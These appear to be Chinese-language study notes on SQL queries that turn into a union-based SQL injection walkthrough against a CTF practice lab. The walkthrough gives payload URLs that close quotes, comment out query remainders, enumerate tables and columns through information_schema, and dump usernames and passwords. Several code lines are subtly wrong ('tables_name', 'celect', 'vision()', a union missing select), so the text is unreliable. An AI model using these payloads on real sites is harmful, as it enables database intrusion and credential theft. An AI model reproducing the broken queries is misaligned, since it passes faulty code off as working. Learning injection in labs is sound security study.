sql查询
一.基本查询语句
>select * from users where id=1;
#select+列名(*代表所有)from+表名 where+条件语句
>select * from users where id in ('3');
#从users表格,查询所有包含id=3
>select * from user where id=(select id from users where username=('admin'));
#子查询 优先执行()查询语句(先通过usename把id先查出来,再把这个值赋给id,在根据这个值查询出这一列的信息)
二.union查询(联合查询)
>select id from users union select email_id from emails;
#查询并合并数据显示(前面和后面两个查询同时进行并显示出结果,union相当于编程里的and)
>select * from users where id=6 union select * from emails where id=6;
error:have a different number of columns 错误原因: users为3列 email为2列 联合注入前后表格列数必须相等
>select * from users where id=6 union select *,3 from emails where id=6;
#3为填充列(为了保证和前面列数一致,所以在*后面再给它加一列,这样语句才能正常执行)
三.
1.group by 分组
>select department,count(id) from student group by department;
#查询department院系人数
count(id)对ID进行计数 (将相同的进行分组)
一般用于二分法判断数据表列数
>select * from users where i;
#by 2,4,8····依次排查到报错为止,从而确定列数
(可以用二分法来查询列数,例如select *from users where id=1 group by 10(5,2····);
2.order by 默认按照升序排列
>select stu_id from score share c_name='计算机' order by grade desc;
#grade参数desc使排列顺序变为降序
同group by ,一般用于判断数据表列数(select* from users order by 1 将第一列数据升序进行排列)
3.limit 限制输出内容数量
>select *from users limit 1,3;
#限制为从第1行开始显示3行
>select *from users limit 0,3;
#显示1,2,3行,实际是从0开始计数
一般用于限数显示报错反馈信息
4.and 和or “与”与“或”
>select * from users where id=1 and usename='benben';
(id和username要同时满足)
>select * from users where id=1 or usename='benben';
(满足其一即可)
四.常用函数
1.group_concat 合并到一行显示
>select group_concat(id,username,password) from users;
2.select database() 查看当前数据库的名称
3.select vision()查询当前数据库的版本
五.注入点
注入点就是可以实行注入的地方,通常是一个访问数据库的连接。
1.判断是字符型还是数字型
(1)and 1=1和and 1=2都正常回显,则为字符型注入
http://home.ctfsu.com/sql/less-1/index.php?/id=2 and 1=2
(2)http://home.ctfsu.com/sql/less-1/index.php?/id=2-1
如果为数字型,结果为1,可回显,查出为1的回显。如果为字符型,无法计算,回显出2的结果
不能把-换位+是因为+可能被识别为空格
六.闭合
常见闭合方式' " ') ") 其他
闭合的作用:手工提交闭合符号,提前结束前一段查询语句,后面即可加入其它语句,查询需要的参数
不需要的语句的语句可以用注释符号 --+ 或者 # 或者 %23 注释掉(注释掉:利用注释符号暂时将程序段脱离运行,就是让它暂时不运行,而不是删除掉)
七.拿到表名和列名
数据库information_schema(包含所有mysql数据库的简要信息)---->其中包含两个数据库表----->tables(表名集合表)和columns(列名集合表)
1.表名
所需表名信息在数据库information_schema----->数据表tables---->数据列table_name
id=0' union select 1,table_name,3 from information_schema.tables --+
http://home.ctfstu.com/sql/less-1/index.php?id=-2’ union select 1,2 ,tables_name from information_schema.tables --+
(从infomation_schema里面去获取所有的表名)
http://home.ctfstu.com/sql/less-1/index.php?id=-2’ union select 1,2 ,tables_name from information_schema.tables where table_schema=database()--+
http://home.ctfstu.com/sql/less-1/index.php?id=-2’ union select 1,2, tables_name from information_schema.tables where table_schema='security'--+
http://home.ctfstu.com/sql/less-1/index.php?id=-2’ union select 1,2, group_concat(tables_name) from information_schema.tables where table_schema='security'--+
#'security' 下所有的表名的列出来了
2.列名
查找数据库security中数据表users的列名
所需要信息在数据库information_schema数据表columns数据列column_name
id=0' union celect 1,column_name,3 from information_schema.column_name
http://home.ctfstu.com/sql/less-1/index.php?id=-2' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
八.查询最终目标
查询语句 select列名+from表名+where限定语句
id=0' union 1,group_concat(username,password), 3 from users --+
http://home.ctfstu.com/sql/less-1/index.php?ia+-2' union select 1,group_concat(username,'~',password),3 from users --+
(显示出来为名字~密码)
table_name
表名information_schema
信息数据库
table_schema
数据库名称